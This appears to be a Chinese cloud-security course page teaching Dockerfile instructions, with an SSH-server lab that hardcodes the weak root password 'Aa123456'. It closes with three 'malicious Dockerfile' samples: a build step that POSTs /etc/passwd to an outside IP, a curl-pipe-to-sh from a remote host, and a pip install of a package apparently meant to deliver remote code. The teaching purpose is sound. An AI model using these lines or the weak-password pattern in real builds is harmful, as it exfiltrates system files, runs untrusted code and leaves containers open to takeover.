云安全
云安全概述
阿里云概述
亚马逊AWS概述
云计算导论
云计算概述
云计算的关键技术
虚拟化
分布式文件系统
云存储
数据处理
并行计算
OpenStack
容器
Kubernetes概述
Serverless
Hadoop
云原生
云数据中心
微服务
对象存储OSS
云存储
对象存储
对象文件(Object)
存储桶(存储空间)
通过外网访问OSS
存储桶漏洞
STS访问OSS
权限与访问控制
访问控制
Bucket&RAM Policy
预签名
Docker
01docker概述
02docker安装
03目录结构
04基础操作
05底层原理【理论】
06底层原理【实践】
07DockerFile
08容器反查Dockerfile
09Docker 逃逸
-
+
首页
07DockerFile
## 概述 Dockerfile是一个文本文件,里面包含了用于构建Docker镜像的所有指令。 Dockerfile允许通过一系列指令来定义容器的允许环境,从基础操作系统、应用代码、安装依赖到启动命令等,最终构建出一个可移植、可重复的Docker镜像。 文本化的镜像生成操作让其方便版本的管理和自动化部署。  > 解决了什么问题? Dockerfile的存在,主要解决了镜像的三大核心问题: 自动化构建:替代手动 docker commit的方式,通过代码化指令实现镜像一键构建,避免重复操作。 一致性保障:相同的Dockerfile在任何环境下构建,都会生成结构、内容完全一致的镜像,解决了环境不一致的问题。 可追溯与维护:指令以文本形式存储,可纳入版本控制(如git),方便追踪镜像变更历史。 ## 结构 Dockerfile无文件扩展名,其内容遵循【指令 + 参数】的格式,可分为四个部分: **基础镜像信息:** 必须放在首行,定义构建镜像的基础,后续所有指令都会基于此镜像执行。 维护者信息(可选):可标注镜像维护者的基础信息。 **核心构建指令:** 包括依赖的安装、环境变量的设置、文件的复制等等,是定制镜像功能的核心步骤。 **容器启动指令:** 定义容器启动时默认执行的命令或者程序,如启动服务、允许脚本等。 ## 示例 适用Dockerfile构建ssh服务器 ```dockerfile FROM centos:7 LABEL version="1.0" LABEL maintainer="maolin101.com" #设置了工作目录为/etc/ssh WORKDIR /etc/ssh RUN curl -o /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo \ && yum install net-tools initscripts openssh-server -y \ && sed -i '/^HostKey/'d /etc/ssh/sshd_config \ && echo 'HostKey /etc/ssh/ssh_host_rsa_key' >> /etc/ssh/sshd_config \ && ssh-keygen -t rsa -b 2048 -f /etc/ssh/ssh_host_rsa_key RUN echo 'root:Aa123456' | chpasswd #暴露22号端口 EXPOSE 22 RUN mkdir -p /opt RUN echo '#!/bin/bash' >> /opt/run.sh RUN echo '/usr/sbin/sshd -D' >> /opt/run.sh RUN chmod +x /opt/run.sh #容器启动时运行的命令 CMD ["/opt/run.sh"] ``` ## FROM 基础镜像信息 用于指定基础镜像,在设置基础镜像的时候,尽可能使用官方镜像或者信任的镜像。 ```dockerfile #基础语法 FROM <image> 或者 FROME <image>:<tag> #使用案例 FROM alpine FROM golang:1.9-alpine as builder #as 用于多阶段构建时的命名操作 ``` ## LABEL 标签 通过给镜像添加标签来帮助描述镜像的关键信息。 ```dockerfile # 基础语法:每一个标签是一行,由LABEL开头加上一个或者多个标签对 LABEL key=<value> ``` ## MAINTAINER 标签 维护者信息。 ```dockerfile #基础语法 MAINTAINER key=<value> ``` ## RUN 镜像操作命令 在构建镜像时执行命令,常用于安装软件包、配置环境等。 为了保持Dockerfile文件的可读性,以及可维护性,建议将长的或者复杂的RUN指令用反斜杠分割成多行。 RUN 指令最常见就是通过apt或者yum进项环境的安装。 值得注意的是: - 不要使用RUN apt upgrade 或者 dist-upgrade,这会增加镜像的大小。 - 如果确定有一个包需要升级,应当使用apt install 包名 -y的方式进行升级。 - 最好将RUN的多条语句汇集为一条。 - 为了减少镜像层数和体积,建议使用 && 将多个命令合并,并在同一层中清理临时文件。 ```dockerfile #基础语法 RUN <COMMAND> 或者 RUN ["executable","param1","param2"] #使用案例 #如果 RUN ["/bin/bash","-c","echo Hello"],当命令较长时可以使用\进行换行。 RUN apt update;\ && apt install -y nginx;\ && rm -rf /var/lib/apt/lists/* ``` ## CMD 容器启动时执行命令 指定容器启动时默认执行的命令,但是此命令可以被docker run 后面的参数进行覆盖。 当基于镜像的容器允许时将自动执行CMD指令,如果在docker run 命令中指定参数,这些参数将会覆盖在CMD指令中设置的参数。 多数情况下CMD都需要一个交互式的SHELL、bash、python、perl等。 ```dockerfile # 基础语法 # CMD指令有三种格式: # exec格式 CMD ["executable", "param1", "param2"] # 为ENTRYPOINT提供参数 CMD ["param1", "param2"] # shell格式,在/bin/bash中执行提供给需要交互的应用 CMD command param1 param2 # 基础示例 # 如果创建镜像的目的是为了部署某个服务,如SSH服务。 CMD ["/usr/sbin/sshd", "-D"] ``` 值得注意的是每个Dockerfile文件只能有一个CMD命令,如果指定了多条CMD命令,那么只有最后一条执行。 ## ENTRYPOINT 容器入口命令 定义容器启动时的入口命令,通常搭配CMD 指令使用,让容器像一个独立的可执行程序。 作用是允许将镜像当作命令本身执行。 ENTRYPOINT 定义了不可变的主命令,CMD定义了可变的默认参数,例如: ```bash # 基础语法 # exec格式 ENTRYPOINT ["executable", "param1", "param2"] #shell格式:使用ENTRYPOINT指令并不会被docker run 提供的参数进行覆盖。 ENTRYPOINT command param1 param2 #shell中执行 ``` ```dockerfile # 示例:让容器像调用 python3 命令一样工作 ENTRYPOINT ["python3"] # 默认参数,运行app.py CMD ["app.py"] ``` ```docker # 使用docker run -it进入容器时会自动执行 top -b 命令。 # CMD的值为-H,当docker run -it时,没有指定最后的命令,会默认使用-H 参数 FROM centos:7 ENTRYPOINT ["top", "-b"] CMD ["-H"] # 因此,容器启动时默认执行的完整命令是:top -b -H # -b top 的批处理模式(batch mode),用于非交互式环境(如 Docker 容器),会持续输出进程信息而不进入交互界面(避免容器启动后立即退出)。 # -H top 的参数,表示 “以线程为单位显示”(默认是按进程显示),即会列出每个进程下的线程信息。 ```  将docker镜像作为命令使用 ```bash alias dockertop='docker run -it --rm top' ```  ENTRYPOINT 指令可以结合辅助脚本使用。 ```dockerfile COPY ./docker-entrypoint.sh / ENTRYPOINT ["/docker-entrypoint.sh"] ``` 也可以为容器设置可执行文件。 ```dockerfile FROM debian:stable RUN apt update && apt install -y --force-yes apache2 EXPOSE 80 443 VOLUME ["/var/www", "/var/log/apache2", "/etc/apache2"] ENTRYPOINT ["/usr/sbin/apache2ctl", "-D", "FOREGROUND"] ``` 值得注意的是当指定了多个ENTRYPOINT的时候,只有最后一个生效。 ## EXPOSE 端口映射 声明容器运行时的监听端口,不进行实际的映射,仅告知使用者(仅文档声明)。 ```dockerfile # 基础语法 EXPOSE <port> [<port>] # 基础示例 # 告诉docker服务端容器暴露的端口号,仅供互联系统使用,也就是docker run -p或者-P 时映射的容器端口。 EXPOSE 22 80 443 # 指定端口范围 EXPOSE 30000-40000 ``` ## ENV 修改环境变量 设置环境变量,构建镜像时和容器运行时均生效,可被后续指令引用。 ```dockerfile # 1. 单变量赋值 ENV <键>=<值> # 2. 多变量赋值(空格分隔,适合短变量) ENV <键1> <值1> <键2> <值2> ``` ```dockerfile # 设置 Python 依赖路径和端口 ENV PYTHONPATH=/opt/lib PORT=8080 # 后续指令中引用环境变量(用 $ 符号) WORKDIR $PYTHONPATH # 等价于 WORKDIR /opt/lib EXPOSE $PORT # 等价于 EXPOSE 8080 ``` ## ARG 构建参数 与ENV 指令一样,设置环境变量,不同的是ARG 指令在环境构建完成之后就会失效。 ```dockerfile ARG <参数名> [=<默认值>] # 调用方式与shell 一致 ``` ```dockerfile # 定义构建时变量,默认值为 1.0 ARG APP_VERSION=1.0 # 构建时用变量给镜像内文件命名 RUN echo "version: $APP_VERSION" > /opt/version.txt ``` ```dockerfile # 构建命令 docker build --build-arg APP_VERSION=2.0 -t myapp:v2 . ``` 与 ENV 的区别:ARG 仅在构建时有效,ENV 在构建和运行时均有效。 安全注意:ARG 变量会暴露在构建日志中,不适合传递密码等敏感信息。 ## COPY 复制 将宿主机构建上下文内的目录或文件复制到镜像中的指令路径下。 ```dockerfile # 基础语法 copy <宿主机路径> <镜像内的路径> # 值得注意的是:宿主机器的路径必须是构建上下文内的路径,不能使用../ 访问上下文以外的文件 ``` ```dockerfile # 复制宿主机当前目录的 app.py 到镜像的 /opt/app 目录 COPY app.py /opt/app/ # 复制宿主机的 config 目录(含子文件)到镜像的 /etc/config 目录 COPY config/ /etc/config/ ``` 构建上下文指的是docker build 命令后 指定的目录。 若镜像内的路径不存在时,COPY指令会自动创建夫目录。 ## ADD 添加 功能与COPY指令类似,不同的是额外支持自动解压 压缩包文件(如 .tar.gz文件)和通过URL 下载文件。 ```dockerfile # 基础语法 ADD <源路径> <镜像内的路径> ``` ```dockerfile # 复制并自动解压宿主机的 app.tar.gz 到镜像的 /opt 目录(解压后去掉 .tar.gz 后缀) ADD app.tar.gz /opt/ # 从 URL 下载文件到镜像的 /tmp 目录 ADD https://example.com/config.ini /tmp/ ``` 优先用 COPY:ADD 的 “解压” 和 “下载” 功能可能导致意外(如误解压非压缩文件),普通复制场景推荐 COPY(功能更明确)。 URL 下载的文件权限默认是 600,需手动调整权限(如 RUN chmod 644 /tmp/config.ini)。 ## WORKDIR 工作目录 设置后续指令(如RUN、COPY、CMD等)的工作目录环境。 ```dockerfile # 基础语法 WORKDIR <镜像内路径> # 推荐用绝对路径,避免相对路径嵌套导致混乱 ``` ```dockerfile WORKDIR /opt/app # 后续指令的工作目录设为 /opt/app COPY app.py . # 等价于 COPY app.py /opt/app/(`.` 表示当前工作目录) RUN python app.py # 在 /opt/app 目录下执行命令 ``` 若目录不存在,WORKDIR 会自动创建(如 /opt/app 不存在时,会创建 opt 和 app)。 多次使用 WORKDIR 会叠加路径:WORKDIR /a 后再 WORKDIR b,最终工作目录是 /a/b。 ## VOLUME 定义匿名卷 容器运行时应该尽量保持容器存储层不发生写操作,对于数据库类需要保持动态数据的应用,其数据库文件应该能保存在卷(volume)中。 在Dockerfile文件中,可以事先指定某些目录挂载为匿名卷,这样运行时,如果用户不指定挂载点,其应用程序也可以正常运行,只不过无法向容器存储层写入数据库。 主要作用是实现容器数据的持久化存储,或在多个容器间共享数据。它在镜像层面声明 “需要挂载的目录”,容器运行时会自动将这些目录与宿主机的卷(或其他存储)关联,避免容器内的数据随容器删除而丢失。 核心作用: - 数据持久化:容器运行时产生的数据(如日志、数据库文件)会保存在 VOLUME 定义的目录中,即使容器被删除,数据仍会保留在宿主机的卷中。 - 容器间数据共享:多个容器可挂载同一个卷,实现数据互通(如一个容器写日志,另一个容器读日志)。 - 隔离容器与数据:将数据存储与容器本身分离,容器可随时重建,数据不受影响。 ```dockerfile # 基础语法 # 1. 空格分隔多个路径(适合路径中无空格的场景) VOLUME <路径1> <路径2> ... # 2. JSON 数组格式(适合路径中包含空格的场景,需用双引号) VOLUME ["<路径1>", "<路径2>", ...] ``` ```dockerfile # 定义单个挂载点 # 基于 Ubuntu 镜像,定义 /data 为挂载点 FROM ubuntu:22.04 VOLUME /data # 容器运行时,/data 目录会被挂载为数据卷 ``` 执行容器后的效果为:执行 docker run -it --name mycontainer myimage 时,Docker 会自动为 /data 分配一个匿名卷(宿主机路径类似 /var/lib/docker/volumes/<随机ID>/_data),容器内 /data 的数据会实时同步到该匿名卷。 如果想指定宿主机路径,可在运行时用 -v 覆盖: ```dockerfile # 将宿主机的 /home/user/data 挂载到容器的 /data docker run -it -v /home/user/data:/data myimage ``` 定义多个挂载点: ```dockerfile FROM centos:7 # 定义 /logs 和 /config 两个挂载点(路径含空格时必须用 JSON 格式,这里仅作示例) VOLUME ["/logs", "/config"] ``` ## USER 运行时默认用户 USER 指令 是 Dockerfile文件 中用于指定容器运行时默认用户 / 用户组。 默认情况下,容器内的进程会以 root 用户(超级用户)运行,而 USER 指令可以限制进程的权限,降低容器被攻击时的安全风险,是容器安全加固的重要手段。 ```dockerfile # 基础语法 # 格式1:指定用户名(需提前创建该用户) USER <用户名> # 格式2:指定用户名和用户组(用户组可选,默认用户的主组) USER <用户名>:<用户组> # 格式3:指定 UID(用户ID)或 GID(用户组ID)(适用于无用户名的场景) USER <UID>[:<GID>] ``` 值得注意的是:USER 指令 指定的用户 / 用户组必须已存在于镜像中(需提前通过 RUN 指令创建,如 adduser、useradd 等),否则容器启动会失败。 ```dockerfile FROM ubuntu:22.04 # 1. 以 root 权限创建普通用户(myuser) # --disabled-password:不设置密码 # --gecos "":跳过用户信息交互(避免构建时卡住) RUN adduser --disabled-password --gecos "" myuser # 2. 切换到 myuser 用户(后续指令和容器运行时均以该用户执行) USER myuser # 3. 验证当前用户(构建时执行,输出 "myuser") RUN whoami ``` ## STOPSIGNAL 该指令设置的命 ## 实验 执行示例中的dockerfile文件。 ```dockerfile FROM centos:7 LABEL version="1.0" LABEL maintainer="maolin101.com" #设置了工作目录为/etc/ssh WORKDIR /etc/ssh RUN curl -o /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo \ && yum install net-tools initscripts openssh-server -y \ && sed -i '/^HostKey/'d /etc/ssh/sshd_config \ && echo 'HostKey /etc/ssh/ssh_host_rsa_key' >> /etc/ssh/sshd_config \ && ssh-keygen -t rsa -b 2048 -f /etc/ssh/ssh_host_rsa_key RUN echo 'root:Aa123456' | chpasswd #暴露22号端口 EXPOSE 22 RUN mkdir -p /opt RUN echo '#!/bin/bash' >> /opt/run.sh RUN echo '/usr/sbin/sshd -D' >> /opt/run.sh RUN chmod +x /opt/run.sh #容器启动时运行的命令 CMD ["/opt/run.sh"] ```  启动容器: ```bash root@ubuntu:~/df# docker run -id --name mathias -P mathiasssh:latest bcec6a30f04bf55754e96c8067a5f2151662a92148899cefe704cc75abb88485 root@ubuntu:~/df# docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES bcec6a30f04b mathiasssh:latest "/opt/run.sh" 3 seconds ago Up 2 seconds 0.0.0.0:32768->22/tcp, [::]:32768->22/tcp mathias ``` 连接ssh:  ## 恶意Dockerfile > The Easiest one 在镜像build的时候会出发cat /etc/passwd内容的POST。 ```dockerfile FROM alpine:edge RUN apk update && apk upgrade RUN apk add curl VOLUME /var/www/html RUN curl -XPOST 121.4.154.240:4502 -d `cat /etc/passwd | tr `\n` '' | tr '' '_' RUN apk add apache2 EXPOSE 80 CMD ["httpd", "-D FOREGROUND"] ``` > The discreet one ```dockerfile FROM alpine:edge RUN apk update && apk upgrade RUN apk add curl git VOLUME /var/www/html RUN curl -sS http://公网IP地址:8000/whoami.sh | sh EXPOSE 80 CMD ["httpd", "-D FOREGROUND"] ``` > The interesting one ```dockerfile FROM python RUN python3 -m pip install Deepmountains-lrce ```
毛林
2025年10月21日 20:12
转发文档
收藏文档
上一篇
下一篇
手机扫码
复制链接
手机扫一扫转发分享
复制链接
Markdown文件
PDF文档(打印)
分享
链接
类型
密码
更新密码